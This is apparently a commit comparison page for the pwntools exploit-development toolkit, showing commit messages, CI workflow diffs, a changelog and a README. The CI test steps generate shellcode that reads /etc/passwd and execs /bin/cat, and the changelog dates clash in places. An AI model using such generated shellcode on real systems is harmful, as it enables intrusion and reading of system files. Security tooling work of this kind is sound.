See #1261 for original comments
2020-06-05 01:47:16 -05:00
Yonghwi Jin 2c0d63b569 Cache iter_symbols and iter_sections 2020-06-05 01:41:35 -05:00
heapcrash e254c5fa62 Increase fetch depth to 100 to increase cache hits
AVD installation is one of the longest parts of the CI process
2020-06-05 01:20:19 -05:00
heapcrash aba16247b4 Add workaround for #1538 until Unicorn is fixed 2020-06-05 01:19:28 -05:00
Heap Crash 6fc0914dc0 Convert logging status messages to text (#1540)
Fixes #1510
2020-06-05 01:08:32 -05:00
Heap Crash 8137494932 Make Github Actions pass, even if we have to disable some things (#1546)
* Disable corefile tests for Github Actions

* Disable the UI tests, as theyre broken

* Install gdbserver

* Rename step

* Remove SIGALARM to see if it fixes tests

* Set PWNLIB_NOTERM for command-line runs
2020-06-05 00:41:48 -05:00
Arusekk 371ddc1f01 Fix cli tests 2020-06-04 11:28:27 +02:00
Arusekk baad3927b9 Merge branch 'beta' into dev 2020-06-04 00:00:35 +02:00
Arusekk f5c4a069b6 Hopefully working PyPI + doctests on cli tools 2020-06-03 23:56:51 +02:00
Arusekk 94647d6c10 Merge branch 'beta' into dev 2020-06-03 23:32:08 +02:00
Arusekk 441b0851c9 Merge branch 'stable' into beta 2020-06-03 23:14:47 +02:00
mauricesvp e1aedff092 remove unused argument and add missing documentation 2020-05-31 01:45:46 -05:00
Antinomique 8a2b77131e Repair download_dir 2020-05-29 15:23:00 -05:00
heapcrash b5dd858897 Update issue templates 2020-05-29 15:19:00 -05:00
heapcrash 70d42fb076 Update issue templates 2020-05-29 15:15:57 -05:00
heapcrash 9ede4b8eea Add "Question" issue template 2020-05-29 15:08:10 -05:00
laydervus d944a9ec68 __str__ to __bytes__ in python2 (#1521) 2020-05-29 11:50:38 +02:00
Jinmo bbd82ac6fe Initialize unicorn outside loop in plt emulation (#1515) 2020-05-28 23:17:01 +02:00
layderv 4439849d66 ROP representation with short chars (#1505)
Closes #1494
2020-05-28 15:33:13 +02:00
Sacha KOZMA 061d0fd953 Take numbwritten bytes into account in FmtString (#1471)
The number of bytes already written is now taken into account when executing format string writes.
2020-05-27 23:06:46 +02:00
Bruce Chen 43c4eef53b Fix CHANGELOG.md (#1504)
* Fix bunch of invalid PR/commit link  
* Merge two 3.12.1 into one 3.12.1  
* Add 3.12.2
2020-05-27 22:14:20 +02:00
peace-maker ef40a31ac8 Support opening of new windows in WSL (#1503)
Detect if pwntools is running in a Windows Subsystem for Linux "VM" and set the terminal to open a new `cmd.exe` window on the host.

This replaces the need to add `context.terminal = ['cmd.exe', '/c', 'start', 'ubuntu', 'run']` to every script.

Debugging using `gdb.attach` under WSL with gdb in a new window out of the box!
2020-05-27 22:11:01 +02:00
Arusekk 59ce329431 Begin working on 4.3.0 2020-05-08 14:27:09 +02:00
Arusekk 03a315ced3 Release 4.2.0beta0 2020-05-08 14:22:15 +02:00
Arusekk e03e9d7c81 Looks like stack needs to be aligned sometimes 2020-05-08 10:37:39 +02:00
Arusekk 397d8c6edd Try to fix examples 2020-05-07 19:05:56 +02:00
Arusekk ad0da0a675 Improvements in examples 2020-05-07 13:01:27 +02:00
Arusekk 25415453da Supporting python 2 is soooo annoying 2020-05-07 13:00:26 +02:00
Arusekk 3d835dfad2 Python 2 has it the other way round 2020-05-07 11:54:40 +02:00
Arusekk 5978c8c047 More ADB 2020-05-07 00:24:43 +02:00
Arusekk 599ac6f9d6 Typos in code 2020-05-07 00:22:32 +02:00
Arusekk bc9da1600c Adb changes from google 2020-05-07 00:11:28 +02:00
Arusekk f26a0256dc Finally resolve ret2dlresolve.
This is a WONTFIX, but default gcc on ubuntu compiles .bss (and other RW
segments) so far away from .text that ret2dlresolve mathematically
just has to segfault unless .text and .rodata contain crafted structures
already.

Compiling and working fine on gentoo, though.  Hope this proves useful.

Also closes #1448 by the way, it was really annoying.
Closes #1476.
2020-05-07 00:08:14 +02:00
Arusekk 3e71853f9f Enhance ret2dlresolve 2020-05-05 17:49:22 +02:00
Arusekk 54514441aa Adapt ret2dlresolve to pwntools 2020-04-29 22:52:41 +02:00
Arusekk 2a7676cd5a Merge: add ret2dlresolve (#1436) 2020-04-29 09:33:31 +02:00
Arusekk 94f71aafe5 Improve coverage 2020-04-29 00:31:05 +02:00
Arusekk 3a83b2bdb2 Do it the mktemp way 2020-04-28 20:31:54 +02:00
Arusekk 2101f8d531 Try again 2020-04-28 19:48:01 +02:00
Arusekk 8699639148 Merge branch 'dev' of https://github.com/Gallopsled/pwntools into dev 2020-04-28 19:34:16 +02:00
Arusekk aea0901ca4 Try a different location of examples 2020-04-28 19:30:30 +02:00
Arusekk b203745097 Improve test coverage (adb, iters, lists) 2020-04-28 19:17:13 +02:00
Arusekk f834ce9582 Fix cyclic command under py3 2020-04-23 14:33:39 +02:00
peace-maker d7e8b0210a Enable text colors in Windows console (#1454)
* Enable text colors in Windows console

Consoles on Windows 10 support ANSI escape sequences including color codes.
Emulate unix curses `tigetstr` terminal capabilities by hardcoding the given escape sequences for used curses capabilities.

ANSI escape sequences have to be enabled using `kernel32.SetConsoleMode(hndl, ENABLE_VIRTUAL_TERMINAL_PROCESSING)` for the current console.

* Use object identity operator
2020-04-21 19:08:56 +02:00
Karthikeyan Singaravelan 4bd1aeff75 Fix python 3 related warnings (#1488)
* Import ABC from collections.abc for Python 3.

* Fix deprecation warnings due to invalid escape sequences.

* Use raw strings instead of escaping individually.
2020-04-21 19:07:23 +02:00
Arusekk 53cf93a004 Random ADB regression 2020-04-21 18:40:40 +02:00
YCMandArusekk eeb8d456f2 Update proc.py (#1450)
* Update proc.py

reversed([p.pid for p in processes])   only return a iter.
if use gdb.attach('some process name') will cause  error like :
  File "/home/tsj/.local/lib/python2.7/site-packages/pwnlib/gdb.py", line 657, in attach
    pid = pids[0]
TypeError: 'listreverseiterator' object has no attribute '__getitem__'


In this case ,it treat 'pids' as a list,so here should return a list as well

* Apply suggestions from code review

Co-authored-by: Arusekk <[email protected]>
2020-04-10 22:58:56 +02:00
Kyle Zeng 71e9c038f7 several py2-py3 issues (#1451)
* in python3 pidof returns a generator

* make cyclic commandline work again
2020-04-10 22:57:09 +02:00
Arusekk a951fbcdbe If only python was typed 2020-04-10 20:09:52 +02:00
Arusekk e42c244612 Try to debug attribute errors in process.corefile 2020-04-10 19:59:40 +02:00
Arusekk 8f86dde4f8 Fix GDB regression 2020-04-10 19:52:17 +02:00
Arusekk 16aa14968b Ensure str in ssh_channel.executable and .cwd
Closes #1468
2020-04-10 19:35:03 +02:00
Arusekk 2c97312399 Cannot reproduce this locally, but ok 2020-04-07 17:54:09 +02:00
Arusekk fecf9f62a6 Port SSH remote part to python3 2020-04-07 16:46:26 +02:00
Arusekk f0f0c364d3 Merge branch 'beta' into dev 2020-04-07 03:01:43 +02:00
klecko c9dad72be4 Changed test to 32 bits, 64 bits seems broken for now 2020-04-04 19:32:47 +02:00
klecko d16370be3e Added test 2020-04-04 15:01:22 +02:00
klecko 5acabdd1a1 Changed design 2020-04-04 12:56:55 +02:00
Guil-T 91d464b298 fix for python3 compatibility (#1467)
if the value returned from the leak function is a str, it converts it to a bytearray for pytohn3 compatibility. Assuming a string is returned is flaky and likely wrong.
2020-04-01 17:00:07 +02:00
Guil-T a7678f77a3 removed the double quotes around the temp filename of the gdbscript (#1465)
removed the double quotes around the temp filename of the gdbscript as this broke the gdbscript functionality.

The doublequotes would be considered part of the filename and it would fail to read the file..

Tested this fix on Kali.
2020-04-01 10:18:27 +02:00
Elon Gliksberg 415f11bba7 The SSH tube now keeps the environment variable's order. (#1464)
* The SSH tube now keeps the environment variables of processes it creates in order.
The way of achieving that is through passing the env to the script as a list of tuples,
since Python3's dictionaries are ordered by default, or you can use `OrderedDict`,
the result would be that the spawned process on the remote machine will keep the environment variables in order.

This is very important to exploits that are based on the stack's order and especially the environment variables.
For instance, a common challenge is comparing argc == 0, and afterwards accessing the argv array, as an out-of-bounds array.
The shellcode needs to be at a certain index consistently and cannot rely on the stack moving around.

* Relocated the code.
2020-03-25 17:26:45 +01:00
Bet4 9cefaccc10 Fix gdb and fmtstr doctests format (#1440)
* Fix gdb doctest format

* Fix fmtstr doctest format
2020-03-21 19:13:51 +01:00
Bet4 5ddd0f4ba3 Fix encoder support for python3 (#1458) 2020-03-21 18:54:29 +01:00
peace-maker c5178460df Allow pwntools to load on Windows (#1449)
* Allow pwntools to load on Windows

Fixes loading of pwntools on Windows. `from pwn import *` works.

It allows to use some operating system agnostic features of pwntools out of the box.

This is inspired by #996.

Some features fail or even crash (local processes, gdb, assemble/disassemble)
 and console colors are still not displayed correctly, but those can be addressed separately.

* Use `os.devnull` instead of manual selection
2020-03-16 20:39:45 +01:00
tkmikan 7326452c69 fix for tube wrapperS (#1452)
* fix for tube wrapperS

* add space to wrapperS docstring
2020-03-16 11:46:49 +01:00
klesoft c4b514f215 Added ret2dlresolve 2020-02-26 23:51:08 +01:00
Karim Kanso ed3c30aed3 Python 3 fixes for string/bytes comparisons (#1426) 2020-02-08 15:35:58 +01:00
Vitaly Chipounov f3b492db75 pwnlib/term: replaced file() with open() for python3 compatibility (#1422)
Signed-off-by: Vitaly Chipounov <[email protected]>
2020-02-08 15:06:49 +01:00
peace-maker 26598f3da6 Add heuristic to find return address into __libc_start_main (#1419)
* Add heuristic to find return address into __libc_start_main

Find the return address from main into __libc_start_main in a libc shared binary. Mimic's niklasb's heuristic in libc-database.

* Add support for different `call` instructions
2020-02-03 15:20:41 +01:00
Hye Sung Jung 586781bd46 Fix spelling errors (#1416) 2020-02-01 20:02:20 +01:00
Aaron Lichtman 8f941b8d71 Respect XDG Base Directory spec for pwntools cache (#1420)
Fix #1370
2020-02-01 19:44:38 +01:00
Arusekk 42abafdd41 Merge branch 'beta' into dev 2020-01-22 22:26:22 +01:00
Arusekk 433d92619b Add a universal way of disabling updates
Closes #1414
2020-01-22 20:45:03 +01:00
the-exodus 9094db42af Install-section pointing to the correct branch now (#1409) 2020-01-22 15:18:42 +01:00
Arusekk 51fa401752 Merge branch 'beta' into dev 2020-01-18 20:49:42 +01:00
Arusekk d80d3e08ef Begin working on 4.2.0 2020-01-09 19:10:30 +01:00
592 changed files with 4122 additions and 2016 deletions

No files matched your search

+2
View File
@@ -1,6 +1,7 @@
[run]
branch = True
parallel = True
concurrency = thread,multiprocessing
omit =
*/constants/*
source =
@@ -8,3 +9,4 @@ source =
pwnlib
~/.pwntools-cache-2.7/
~/.pwntools-cache-3.8/
disable_warnings = module-not-imported
+5
View File
@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
+29
View File
@@ -0,0 +1,29 @@
name: Changelog
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
build:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
echo 'Changelog updated :D'
else
if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
echo 'Major changes detected, changelog required!'
false
else
echo 'Minor changes detected, no changelog required!'
fi
fi
+60 -24
View File
@@ -2,19 +2,22 @@ name: Continuous Integration
on: [push, pull_request]
jobs:
build:
test:
strategy:
matrix:
python-version: [2.7, 3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Git History 2
run: git log --oneline --graph -10
- name: Git History
run: |
git fetch origin
git log --oneline --graph -10
- name: Cache for pip
uses: actions/cache@v1
@@ -28,23 +31,29 @@ jobs:
with:
python-version: ${{ matrix.python-version }}
- name: Lint
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Detect whether java is needed
id: java-needed
env:
GITHUB_REF: ${{ github.event.ref }}
GITHUB_COMMIT_RANGE: ${{ github.event.before }}...${{ github.event.after }}
run: |
if echo "$GITHUB_REF" | grep -Eq 'staging|tags'; then
echo "Found release or important branch ($GITHUB_REF), forcing tests."
elif ! git show "$GITHUB_COMMIT_RANGE" >/dev/null; then
elif ! git show "origin/$GITHUB_BASE_REF"..HEAD >/dev/null; then
echo 'Incorrect commit range, forcing android tests.'
elif git log --stat "$GITHUB_COMMIT_RANGE" | grep -iE 'android|\<adb\>'; then
elif git log --stat "origin/$GITHUB_BASE_REF"..HEAD | grep -iE 'android|\<adb\>'; then
echo 'Found Android-related commits, forcing tests.'
else
# clear files that cause Android doctests
@@ -65,14 +74,23 @@ jobs:
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-msp430 \
binutils-powerpc-linux-gnu \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
gcc-multilib \
libc6-dbg \
$ANDROID_JRE
sudo apt-get install -y -o Acquire::Retries=3 \
gcc-aarch64-linux-gnu \
gcc-arm-linux-gnueabihf
- name: Install android avd
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash;) || true
- name: Install Android AVD
if: steps.java-needed.outputs.need
run: |
USER=travis source travis/install.sh
@@ -95,14 +113,12 @@ jobs:
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Disable broken tests
run: |
rm -f docs/source/elf/corefile.rst
rm -f docs/source/ui.rst
- name: Manually install non-broken Unicorn
run: pip install unicorn==1.0.2rc3
- name: Version Check
run: PWNLIB_NOTERM=1 pwn version
- name: Coverage doctests
run: |
source .android.env || :
@@ -123,26 +139,45 @@ jobs:
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { coverage run -m pwnlib.commandline.main "$@"; }
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex abcd
pwn unhex 4141 4141
head -c256 /dev/urandom | pwn phd
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep ^O_
pwn constgrep -e O_RDWR
- name: Build source and wheel distributions
run: |
@@ -162,7 +197,7 @@ jobs:
staging-merge:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: build
needs: test
steps:
- uses: actions/checkout@v2
with:
@@ -175,11 +210,12 @@ jobs:
TARGET=${BRANCH%-staging}
git branch -f "$TARGET"
git push origin "$TARGET"
git push origin --delete "$BRANCH"
pypi:
runs-on: ubuntu-latest
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
needs: build
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v2
+35
View File
@@ -0,0 +1,35 @@
name: Lint
on: [push, pull_request]
jobs:
lint:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Critical lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
- name: Style lint
run: |
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
+28
View File
@@ -0,0 +1,28 @@
name: Check for merge markers
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
mergecheck:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check for merge conflict markers commited
run: |
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
echo 'WARNING: Merge marker commits found in history.'
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
echo 'ERROR: Merge markers still present! Do something!'
exit 1
fi
else
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
fi
+36
View File
@@ -0,0 +1,36 @@
name: PyLint
on: [pull_request]
jobs:
build:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: PyLint
run: |
set -x
pip install pylint
pylint --exit-zero --errors-only pwnlib > current.txt
git fetch origin
git checkout origin/"$GITHUB_BASE_REF"
pylint --exit-zero --errors-only pwnlib > base.txt
if diff base.txt current.txt | grep '>'; then
false
fi
+1
View File
@@ -16,3 +16,4 @@ venv
*.egg-info
*.core
.coverage
.coverage.*
+3 -3
View File
@@ -19,11 +19,11 @@ addons:
- binutils-aarch64-linux-gnu
- binutils-arm-linux-gnueabihf
- binutils-mips-linux-gnu
- binutils-msp430
- binutils-powerpc-linux-gnu
- gcc-aarch64-linux-gnu
- gcc-arm-linux-gnueabihf
- binutils-s390x-linux-gnu
- binutils-sparc64-linux-gnu
- bash-static
cache:
- pip
- directories:
+163 -9
View File
@@ -9,9 +9,18 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [4.3.0](#430) | `dev` | Jun 30, 2020 (planned)
| [4.2.0](#420) | `beta` | Jun 5, 2020 (planned)
| [4.1.1](#411) | `stable` | Jun 3, 2020
| [4.6.0](#460) | `dev` | May 29, 2020 (planned)
| [4.5.0](#450) | `beta` | Apr 29, 2020 (planned)
| [4.4.0](#440) | `stable` | Mar 29, 2020
| [4.3.1](#431) | | Nov 29, 2020
| [4.3.0](#430) | | Oct 20, 2020
| [4.2.0](#420) | | Jul 3, 2020
| [4.1.7](#417) | | Jun 30, 2020
| [4.1.5](#415) | | Jun 27, 2020
| [4.1.4](#414) | | Jun 26, 2020
| [4.1.3](#413) | | Jun 23, 2020
| [4.1.2](#412) | | Jun 5, 2020
| [4.1.1](#411) | | Jun 3, 2020
| [4.1.0](#410) | | May 8, 2020
| [4.0.1](#401) | | Jan 22, 2020
| [4.0.0](#400) | | Jan 09, 2020
@@ -49,13 +58,127 @@ The table below shows which release corresponds to each branch, and what date th
| [3.0.0](#300) | | Aug 20, 2016
| [2.2.0](#220) | | Jan 5, 2015
## 4.3.0 (`dev`)
## 4.6.0 (`dev`)
To be released on Jun 30, 2020.
## 4.2.0 (`beta`)
To be released on Jun 5, 2020.
## 4.5.0 (`beta`)
- [#1261][1261] Misc `run_in_new_terminal` improvements (notably gdb terminated by default)
- [#1695][1695] Allow using GDB Python API
- [#1735][1735] Python 3.9 support in safeeval
- [#1738][1738] Which function support custom search path
- process also looks now at `env['PATH']` to find the path for the executable
- [#1742][1742] New `baremetal` os to debug binaries executed with qemu-system-$(arch)
- [#1757][1757] update cache directories
- [#1758][1758] Remove eval from cli
- [#1780][1780] Re-add Python2 to the official Dockerfile
- [#1941][1941] Disable all Android tests, `pwnlib.adb` is no longer supported in CI
- [#1811][1811] Remove unnecessary `pwn.toplevel.__all__`
- [#1827][1827] Support `$XDG_CONFIG_HOME` dir for `pwn.conf`
- [#1841][1841] Add colored_traceback
- [#1839][1839] run_in_new_terminal now creates a runner script if given a list or tuple
- [#1833][1833] Add pwnlib.filesystem module
[1261]: https://github.com/Gallopsled/pwntools/pull/1261
[1695]: https://github.com/Gallopsled/pwntools/pull/1695
[1735]: https://github.com/Gallopsled/pwntools/pull/1735
[1738]: https://github.com/Gallopsled/pwntools/pull/1738
[1742]: https://github.com/Gallopsled/pwntools/pull/1742
[1757]: https://github.com/Gallopsled/pwntools/pull/1757
[1758]: https://github.com/Gallopsled/pwntools/pull/1758
[1780]: https://github.com/Gallopsled/pwntools/pull/1780
[1941]: https://github.com/Gallopsled/pwntools/pull/1941
[1811]: https://github.com/Gallopsled/pwntools/pull/1811
[1827]: https://github.com/Gallopsled/pwntools/pull/1827
[1841]: https://github.com/Gallopsled/pwntools/pull/1841
[1839]: https://github.com/Gallopsled/pwntools/pull/1839
[1833]: https://github.com/Gallopsled/pwntools/pull/1833
## 4.4.0 (`stable`)
- [#1541][1541] Use `context.newline` for tubes by default
- [#1602][1602] Fix bytes handling in ssh tubes
- [#1606][1606] Fix `asm()` and `disasm()` for MSP430, S390
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1632][1632] Enable usage of Pwntools in jupyter
- [#1633][1633] Open a shell if `pwn template` cannot download the remote file
- [#1644][1644] Enable and support SNI for SSL-wrapped tubes
- [#1651][1651] Make `pwn shellcraft` faster
- [#1654][1654] Docker images (`pwntools/pwntools:stable` etc) now use Python3 by default, and includes assemblers for a few common architectures
- [#1667][1667] Add i386 encoder `ascii_shellcode` (Fixed docs in #1693)
- Fix syscall instruction lists for SROP on `i386` and `amd64`
- Fix migration to another ROP
- [#1673][1673] Add `base=` argument to `ROP.chain()` and `ROP.dump()`
- [#1675][1675] Gdbserver now correctly accepts multiple libraries in `LD_PRELOAD` and `LD_LIBRARY_PATH`
- [#1678][1678] ROPGadget multibr
- [#1682][1682] ROPGadget multibr fix
- [#1687][1687] Actually import `requests` when doing `from pwn import *`
- [#1688][1688] Add `__setattr__` and `__call__` interfaces to `ROP` for setting registers
- [#1692][1692] Remove python2 shebangs where appropriate
- [#1703][1703] Update libcdb buildid offsets for amd64 and i386
- [#1704][1704] Try https://libc.rip/ for libcdb lookup
[1541]: https://github.com/Gallopsled/pwntools/pull/1541
[1602]: https://github.com/Gallopsled/pwntools/pull/1602
[1606]: https://github.com/Gallopsled/pwntools/pull/1606
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
[1632]: https://github.com/Gallopsled/pwntools/pull/1632
[1633]: https://github.com/Gallopsled/pwntools/pull/1633
[1644]: https://github.com/Gallopsled/pwntools/pull/1644
[1651]: https://github.com/Gallopsled/pwntools/pull/1651
[1654]: https://github.com/Gallopsled/pwntools/pull/1654
[1667]: https://github.com/Gallopsled/pwntools/pull/1667
[1673]: https://github.com/Gallopsled/pwntools/pull/1673
[1675]: https://github.com/Gallopsled/pwntools/pull/1675
[1678]: https://github.com/Gallopsled/pwntools/pull/1678
[1682]: https://github.com/Gallopsled/pwntools/pull/1679
[1687]: https://github.com/Gallopsled/pwntools/pull/1687
[1688]: https://github.com/Gallopsled/pwntools/pull/1688
[1692]: https://github.com/Gallopsled/pwntools/pull/1692
[1703]: https://github.com/Gallopsled/pwntools/pull/1703
[1704]: https://github.com/Gallopsled/pwntools/pull/1704
## 4.3.1
- [#1732][1732] Fix shellcraft SSTI vulnerability (first major pwntools vuln!)
[1732]: https://github.com/Gallopsled/pwntools/pull/1732
## 4.3.0
- [#1576][1576] Add `executable=` argument to `ELF.search`
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
- [#1592][1592] Fix over-verbose logging of process() environment
- [#1593][1593] Colorize output of `pwn template`
- [#1601][1601] Add `pwn version` command line tool
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
- [#1613][1613] Permit `--password` for `pwn template`
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
- [#1621][1621] Permit negative values in flat() and fit()
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
## 4.2.1
- [#1625][1625] GDB now properly loads executables with QEMU
- [#1663][1663] Change lookup algorithm of `adb.which`
- [#1699][1699] Fix broken linux shellcraft templates
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
## 4.2.0
- [#1436][1436] Add ret2dlresolve automation
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
@@ -66,7 +189,38 @@ To be released on Jun 5, 2020.
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.1 (`stable`)
## 4.1.7 (`stable`)
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.5
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
## 4.1.4
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
## 4.1.3
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
- Also fix `run_in_new_terminal` for Py2 unicode strings
- [#1595][1595] Fix ssh.process(timeout=)
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
## 4.1.2
- Pwntools requires `six` v.1.12.0 or higher
## 4.1.1
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
- Fix wrong ELF/context unpack handling (c4c11a37)
@@ -89,7 +243,7 @@ To be released on Jun 5, 2020.
[1001]: https://github.com/Gallopsled/pwntools/pull/1001
[1389]: https://github.com/Gallopsled/pwntools/pull/1389
[1241]: https://github.com/Gallopsled/pwntools/pull/1241
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
## 4.0.1
+9 -10
View File
@@ -1,12 +1,13 @@
# pwntools - CTF toolkit
![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
[![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)
